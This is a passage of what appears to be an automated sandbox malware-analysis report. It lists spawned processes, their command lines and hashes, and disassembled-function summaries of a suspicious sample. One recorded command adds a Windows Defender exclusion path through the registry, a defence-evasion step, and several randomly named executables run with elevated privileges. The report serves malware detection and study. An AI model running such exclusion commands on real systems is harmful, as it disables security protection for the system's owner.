Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	21:54:49
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	21:54:49
Start date:	15/01/2025
Path:	C:\Windows\System32\reg.exe
Wow64 process (32bit):	false
Commandline:	reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\user\Documents" /t REG_DWORD /d 0 /f
Imagebase:	0x7ff6586a0000
File size:	77'312 bytes
MD5 hash:	227F63E1D9008B36BDBCC4B397780BE4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	21:55:16
Start date:	15/01/2025
Path:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Imagebase:	0x840000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	false

Show Windows behavior

Target ID:	39
Start time:	21:55:19
Start date:	15/01/2025
Path:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Imagebase:	0x840000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	21:55:19
Start date:	15/01/2025
Path:	C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe"
Imagebase:	0xcf0000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	21:55:20
Start date:	15/01/2025
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd /c echo.>c:\xxxx.ini
Imagebase:	0x240000
File size:	236'544 bytes
MD5 hash:	D0FCE3AFA6AA1D58CE9FA336CC2B675B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	21:55:20
Start date:	15/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	21:55:44
Start date:	15/01/2025
Path:	C:\Program Files (x86)\SibbEG\SibbEG.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\SibbEG\SibbEG.exe"
Imagebase:	0x610000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	21:56:01
Start date:	15/01/2025
Path:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Imagebase:	0x840000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	21:56:01
Start date:	15/01/2025
Path:	C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe"
Imagebase:	0xcf0000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	21:57:00
Start date:	15/01/2025
Path:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Imagebase:	0x840000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	21:57:00
Start date:	15/01/2025
Path:	C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe"
Imagebase:	0xcf0000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	21:58:00
Start date:	15/01/2025
Path:	C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\U5Mb5c\U5Mb5c.exe"
Imagebase:	0x840000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	21:58:00
Start date:	15/01/2025
Path:	C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\k65O7cr6i\s87cvg4.exe"
Imagebase:	0xcf0000
File size:	54'152 bytes
MD5 hash:	7B6586E21FBC8F2F0BB784A1A8FC65B4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	2.1%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	31.8%
Total number of Nodes:	466
Total number of Limit Nodes:	7

Executed Functions

Function 0000000140006C95 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 260
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

@, xrefs: 0000000140006D6C
@, xrefs: 0000000140006FA2

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID: @$@
API String ID: 0-149943524
Opcode ID: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction ID: b9b90cad4d4dbad5e60228b5b2812afcd9ff4e9267d7912497f5da913a33a31e
Opcode Fuzzy Hash: 7cfc64899170ff4cc517d5e5588f068c1185db4b9779a261fbf36bfcd151d312
Instruction Fuzzy Hash: 0EE19876619B84CADBA1CB19E4807AAB7A1F3C8795F105116FB8E87B68DB7CC454CF00

Function 00000001400073E0 Relevance: 1.6, APIs: 1, Instructions: 121
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrLoadDll.NTDLL ref: 00000001400073E2

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: Load
String ID:
API String ID: 2234796835-0
Opcode ID: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction ID: 9a2124daaedac402c784edcfb7064d0c1467828d98a6eaf5875e1b487be58861
Opcode Fuzzy Hash: 2ac1721fb543b4f5636bdbbd43774787bb16f59a86ab6105cb05102c09e3eb47
Instruction Fuzzy Hash: 2451A676619BC582DA71CB1AE4907EEA360F7C8B85F504026EB8E87B69DF3DC455CB00

Function 0000000140005DF3 Relevance: 54.3, APIs: 3, Strings: 28, Instructions: 79
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNELBASE ref: 0000000140005F30
malloc.MSVCRT ref: 0000000140005FD3
ReadFile.KERNELBASE ref: 0000000140006016

Strings

c, xrefs: 0000000140005F69
m, xrefs: 0000000140005F5A
l, xrefs: 0000000140005FA0
s, xrefs: 0000000140005EA1
m, xrefs: 0000000140005F91
M, xrefs: 0000000140005E99
t, xrefs: 0000000140005F73
l, xrefs: 0000000140005F87
L, xrefs: 0000000140005EB9
o, xrefs: 0000000140005FA5
l, xrefs: 0000000140005F82
a, xrefs: 0000000140005F96
d, xrefs: 0000000140005F7D
i, xrefs: 0000000140005EC1
v, xrefs: 0000000140005F64
t, xrefs: 0000000140005ED1
s, xrefs: 0000000140005F5F
., xrefs: 0000000140005F78
c, xrefs: 0000000140005FAA
r, xrefs: 0000000140005F6E
., xrefs: 0000000140005ED9
p, xrefs: 0000000140005EB1
a, xrefs: 0000000140005EE9
t, xrefs: 0000000140005EF1
s, xrefs: 0000000140005EC9
M, xrefs: 0000000140005EA9
l, xrefs: 0000000140005F9B
d, xrefs: 0000000140005EE1

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: File$CreateReadmalloc
String ID: .$.$L$M$M$a$a$c$c$d$d$i$l$l$l$l$m$m$o$p$r$s$s$s$t$t$t$v
API String ID: 3950102678-3381721293
Opcode ID: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction ID: 29f707ba186f29322d2427d6251999ac740dd2877dad0e4ee3b4d54c0b8fffc7
Opcode Fuzzy Hash: 3049977341a31d9fc1ffd9be0b7c42ac82c2b568782cbed11d6bb6d6295d5fdb
Instruction Fuzzy Hash: 0241A03250C7C0C9E372C729E45879BBB91E3A6748F04405997C846B9ACBBED158CB22

Function 00007FFE13201C00 Relevance: 12.2, APIs: 8, Instructions: 227
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFE13201C28
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFE13201C7A
_RTC_Initialize.LIBCMT ref: 00007FFE13201CA8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFE13201CCE
__scrt_release_startup_lock.LIBCMT ref: 00007FFE13201CF9

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction ID: 3695f5a7d9a82fdc37271ed5d0d79df2da65dbdb7a5364e60b30a44cec963eb2
Opcode Fuzzy Hash: 2846997451869cfc22dce892cf33863956c031717884ec40ded3d85d199baf95
Instruction Fuzzy Hash: 7E819C24E08F434EFB54BB67954127D6290AFE67A0F2440B6EA0D677B2DE3CF949C600

Function 00007FFE13201720 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 70
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeConsole.KERNEL32 ref: 00007FFE13201753
FreeLibrary.KERNEL32 ref: 00007FFE13201981

Part of subcall function 00007FFE13201B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE13201BC0
Part of subcall function 00007FFE13201B90: Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE13201BC6

Part of subcall function 00007FFE13201720: FindFirstFileA.KERNELBASE ref: 00007FFE13201536

Strings

WordpadFilter.db, xrefs: 00007FFE13201527

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Concurrency::cancel_current_taskFree$ConsoleFileFindFirstLibrary
String ID: WordpadFilter.db
API String ID: 868324331-3647581008
Opcode ID: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction ID: 05494675f25e7497f6d9c28bb1fd0425354dc321d0caf4ab2700440da5a2e9bd
Opcode Fuzzy Hash: d3782359f8138357475ac289ad5b0888311af99f11814fa5341d046d98142f4f
Instruction Fuzzy Hash: E2319C32B15F418DE700EBA2D8402AD73A5EBA8798F148635EE8D23B59EF38D155C340

Function 00007FFE132011B0 Relevance: 3.2, APIs: 2, Instructions: 235
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FFE132014EB
Concurrency::cancel_current_task.LIBCPMT ref: 00007FFE132014F7

Memory Dump Source

Source File: 00000004.00000002.1987213727.00007FFE13201000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FFE13200000, based on PE: true

Associated: 00000004.00000002.1987198792.00007FFE13200000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987237049.00007FFE13212000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987250705.00007FFE1321D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000004.00000002.1987262474.00007FFE1321F000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffe13200000_ocGsp4.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 73155330-0
Opcode ID: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction ID: 584a7b5222864ff76b7a15302aa4a08cf586172d8fb7dc69f903e924efa095c6
Opcode Fuzzy Hash: c49bc023de0e2a92928f53e7c16b56888227e9b94bcb6080ad38a6f5ea522257
Instruction Fuzzy Hash: A6814E26A19B924AE6119B36984017DA694FFA6BD4F248335EF59737A2DF3CF091C300

Non-executed Functions

Function 0000000140001A30 Relevance: 37.9, APIs: 30, Instructions: 422memorystringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 0000000140001AA6
LeaveCriticalSection.KERNEL32 ref: 0000000140001B30
EnterCriticalSection.KERNEL32 ref: 0000000140001B48
LeaveCriticalSection.KERNEL32 ref: 0000000140001BC9
EnterCriticalSection.KERNEL32 ref: 0000000140001BE6
LeaveCriticalSection.KERNEL32 ref: 0000000140001C67
EnterCriticalSection.KERNEL32 ref: 0000000140001C84
LeaveCriticalSection.KERNEL32 ref: 0000000140001D0D
lstrlenW.KERNEL32 ref: 0000000140001D1F
GetProcessHeap.KERNEL32 ref: 0000000140001D2E
HeapAlloc.KERNEL32 ref: 0000000140001D3C
EnterCriticalSection.KERNEL32 ref: 0000000140001D6F
LeaveCriticalSection.KERNEL32 ref: 0000000140001DF0
lstrlenW.KERNEL32 ref: 0000000140001DFF
GetProcessHeap.KERNEL32 ref: 0000000140001E0E
HeapAlloc.KERNEL32 ref: 0000000140001E1C
EnterCriticalSection.KERNEL32 ref: 0000000140001E4F
LeaveCriticalSection.KERNEL32 ref: 0000000140001ED0
EnterCriticalSection.KERNEL32 ref: 0000000140001EED
LeaveCriticalSection.KERNEL32 ref: 0000000140001F6E
lstrlenW.KERNEL32 ref: 0000000140001F7D
GetProcessHeap.KERNEL32 ref: 0000000140001F8C
HeapAlloc.KERNEL32 ref: 0000000140001F9A
EnterCriticalSection.KERNEL32 ref: 0000000140001FCD
LeaveCriticalSection.KERNEL32 ref: 000000014000204E
lstrlenW.KERNEL32 ref: 000000014000205D
GetProcessHeap.KERNEL32 ref: 000000014000206C
HeapAlloc.KERNEL32 ref: 000000014000207A
EnterCriticalSection.KERNEL32 ref: 00000001400020B4
LeaveCriticalSection.KERNEL32 ref: 000000014000214E

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Heap$AllocProcesslstrlen
String ID:
API String ID: 3526400053-0
Opcode ID: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction ID: dcb8fc7c666fd7128fde866f0540a8def7dae1288ec2bbf322971b46f3f62141
Opcode Fuzzy Hash: 2d7440e75e10ea9e081ba84afc5c3468ce3eac85d6796ce4805a157c9b29c232
Instruction Fuzzy Hash: E3220F76211B4086E722DF26F840B9933A1F78CBE5F541226EB5A8B7B4DF3AC585C740

Function 0000000140003F80 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 160timeCOMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32 ref: 0000000140003FA2
GetCurrentProcess.KERNEL32 ref: 0000000140003FF6
OpenProcessToken.ADVAPI32 ref: 0000000140004007
GetLastError.KERNEL32 ref: 0000000140004011
LookupPrivilegeValueW.ADVAPI32 ref: 000000014000403A
AdjustTokenPrivileges.ADVAPI32 ref: 0000000140004080
GetLastError.KERNEL32 ref: 000000014000408A
CloseHandle.KERNEL32 ref: 0000000140004095
EnterCriticalSection.KERNEL32 ref: 00000001400040B3
LeaveCriticalSection.KERNEL32 ref: 000000014000412B
GetVersionExW.KERNEL32 ref: 0000000140004155
RpcSsDontSerializeContext.RPCRT4 ref: 000000014000416C
RpcServerUseProtseqEpW.RPCRT4 ref: 0000000140004189
RpcServerRegisterIfEx.RPCRT4 ref: 00000001400041B9
RpcServerListen.RPCRT4 ref: 00000001400041D3
CreateWaitableTimerW.KERNEL32 ref: 0000000140004205
CreateEventW.KERNEL32 ref: 000000014000421C
SetWaitableTimer.KERNEL32 ref: 0000000140004289

Strings

ampStartSingletone: logging started, settins=%s, xrefs: 0000000140003FD5
SeLoadDriverPrivilege, xrefs: 000000014000402A
null, xrefs: 0000000140003FCE

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSectionServer$CreateErrorLastProcessTimerTokenWaitable$AdjustCloseContextCurrentDontEnterEventHandleInitializeLeaveListenLookupOpenPrivilegePrivilegesProtseqRegisterSerializeValueVersion
String ID: SeLoadDriverPrivilege$ampStartSingletone: logging started, settins=%s$null
API String ID: 3408796845-4213300970
Opcode ID: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction ID: 59d58333609de1a5812b0fd1fbb73637b4596d8d749a2627428b03e5fdfefd81
Opcode Fuzzy Hash: 126decfa78297cd7188aa212e183f7007b74f13d5c024852e8adcc4be0567069
Instruction Fuzzy Hash: B19104B1224A4182EB12CF22F854BC633A5F78C7D4F445229FB9A4B6B4DF7AC159CB44

Function 00000001400042B0 Relevance: 31.6, APIs: 17, Strings: 1, Instructions: 59synchronizationtimethreadCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042BB
CancelWaitableTimer.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042C8
SetEvent.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042D5
WaitForSingleObject.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042E7
TerminateThread.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400042FD
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000430A
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004317
CloseHandle.KERNEL32(?,?,?,?,000000014000131D), ref: 0000000140004324
RpcServerUnregisterIf.RPCRT4 ref: 0000000140004336
RpcMgmtStopServerListening.RPCRT4 ref: 000000014000433E
EnterCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000435A
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000437F
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 000000014000438C
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043C0
LeaveCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043CC
DeleteCriticalSection.KERNEL32(?,?,?,?,000000014000131D), ref: 00000001400043D9
#4.VSELOG(?,?,?,?,000000014000131D), ref: 00000001400043E6

Strings

ampStopSingletone: logging ended, xrefs: 00000001400043B2

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: CriticalSection$CloseHandle$DeleteEnterLeaveServer$CancelEventListeningMgmtObjectSingleStopTerminateThreadTimerUnregisterWaitWaitable
String ID: ampStopSingletone: logging ended
API String ID: 2048888615-3533855269
Opcode ID: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction ID: 72436faa0f880f3f140bbf81e9e476d17cd4b789f208762ad84a5967a0be411a
Opcode Fuzzy Hash: 304760f1fd88bc3c97c02eb8ad6caf2cea0e78157ea711a11ae6bb1ec958ebce
Instruction Fuzzy Hash: 85315178221A0192EB17DF27EC94BD82361E79CBE1F455111FB0A4B2B1CF7AC5898744

Function 000000014000C3F0 Relevance: 29.0, APIs: 19, Instructions: 515COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3eee3a1980859deabbe81d62853d66f73e7f8938a0b91b292409d40ad6238f27
Instruction ID: 939e1951021ac32239a98278383650b1560c4a87fea8e277fdca239b4ddbef52
Opcode Fuzzy Hash: 3eee3a1980859deabbe81d62853d66f73e7f8938a0b91b292409d40ad6238f27
Instruction Fuzzy Hash: 3022CEB2625A8086EB22CF2BF445BEA77A0F78DBC4F444116FB4A476B5DB39C445CB00

Function 0000000140001520 Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 95COMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32 ref: 00000001400015A4
GetLastError.KERNEL32 ref: 00000001400015B2

Part of subcall function 0000000140001430: GetModuleFileNameW.KERNEL32 ref: 000000014000145E
Part of subcall function 0000000140001430: OpenSCManagerW.ADVAPI32 ref: 000000014000146C
Part of subcall function 0000000140001430: GetLastError.KERNEL32 ref: 000000014000147A

Strings

/service, xrefs: 000000014000153F
/remove, xrefs: 000000014000157E
vseamps, xrefs: 0000000140001538

Memory Dump Source

Source File: 00000004.00000002.1987145956.0000000140001000.00000020.00000001.01000000.00000008.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000004.00000002.1987134098.0000000140000000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987162660.0000000140014000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987174611.000000014001A000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.1987186383.000000014001E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_140000000_ocGsp4.jbxd

Similarity

API ID: ErrorLastManagerOpen$FileModuleName
String ID: /remove$/service$vseamps
API String ID: 67513587-3839141145
Opcode ID: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction ID: ba5f49d8dd96f1c36e401cc1f7cdff7269c229e2e129f463089a9495e32f08e5
Opcode Fuzzy Hash: 39fa17c263662ab8de8707f1fae5283c28ed51da3e4186f1b0bc27974e33e859
Instruction Fuzzy Hash: F031E9B2708B4086EB42DF67B84439AA3A1F78CBD4F480025FF5947B7AEE79C5558704

Function 000000014000F000 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 152libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F042
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F05E
GetProcAddress.KERNEL32(?,?,?,?,?,?,000000FF,00000000,00000001,00000001400094C9,?,?,?,00000000,00000001,000000014000961C), ref: 000000014000F086
